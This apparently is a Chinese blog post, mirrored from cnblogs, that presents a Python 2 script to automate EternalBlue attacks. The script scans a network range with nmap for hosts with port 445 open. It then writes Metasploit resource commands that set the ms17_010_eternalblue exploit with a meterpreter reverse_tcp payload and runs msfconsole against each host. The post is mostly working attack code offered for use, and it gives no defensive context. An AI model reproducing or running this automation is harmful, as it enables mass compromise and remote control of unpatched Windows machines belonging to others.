zoukankan      html  css  js  c++  java
  • Python脚本与Metasploit交互进行自动永恒之蓝攻击

    我们首先利用 findTarget() 函数找到目标网段或目标主机中开放了445端口的主机,然后利用 confickerExploit() 函数将攻击代码写入 configure.rc 配置文件中,最后调用 MSF 框架读取配置文件进行攻击!

    # -*- coding: utf-8 -*-
    """
    Created on Sun Nov  12 09:11:33 2018
    @author: 小谢
    """
    import os
    import optparse
    import sys
    import nmap
    def findTarget(Hosts):              #扫描网段范围内开放445端口的主机
        nmScan=nmap.PortScanner()
        nmScan.scan(Hosts,'445')
        targets=[]
        for t in nmScan.all_hosts():
            if nmScan[t].has_tcp(445):  #如果445端口提供了协议
                state=nmScan[t]['tcp'][445]['state']  #查看445端口的状态
                if state=='open':
                    print '[+]Found Target Host:'+t
                    targets.append(t) 
        return targets         #返回开放445端口的主机列表
    def confickerExploit(configFile,target,lhost):       #漏洞利用
        configFile.write('use exploit/windows/smb/ms17_010_eternalblue 
    ')  #漏洞利用代码
        configFile.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp
    ')
        configFile.write('set RHOST '+str(target)+'
    ')              #设定参数
        configFile.write('set LHOST '+lhost+'
    ')
        configFile.write('exploit -j -z
    ')    #j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换
    def main():
        configFile=open('configure.rc','w')  #以写入方式打开配置文件
        usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> '
        parser=optparse.OptionParser(usage)
        parser.add_option('-H',dest='target',type='string',help='target host')           #目标主机
        parser.add_option('-l','-L',dest='lhost',type='string',help='listen address')    #我们的主机
        (options,args)=parser.parse_args()
        target=options.target
        lhost=options.lhost
        if (target==None)|(lhost==None):
            print parser.usage
            exit(0)
        targets=findTarget(options.target)           #寻找目标
        for target in targets:                       #逐个攻击
            confickerExploit(configFile,target,lhost)
            configFile.close()
            os.system('msfconsole -r configure.rc')  #启动metasploit并读取配置文件
    if __name__=='__main__':
        main()

  • 相关阅读:
    string与wstring之间的转换
    QTableWidget去除选中虚边框
    在新机器部署Qt+mysql程序
    Qt文件路径分隔符
    MySQL通过增加用户实现远程连接数据库
    Qt 配置文件QSettings读取以及中文问题
    git config proxy
    ubuntu14.04 us sources.list
    How to keep Environment Variables when Using SUDO
    ubuntu hash sum mismatch error
  • 原文地址:https://www.cnblogs.com/csnd/p/11807801.html
Copyright © 2011-2022 走看看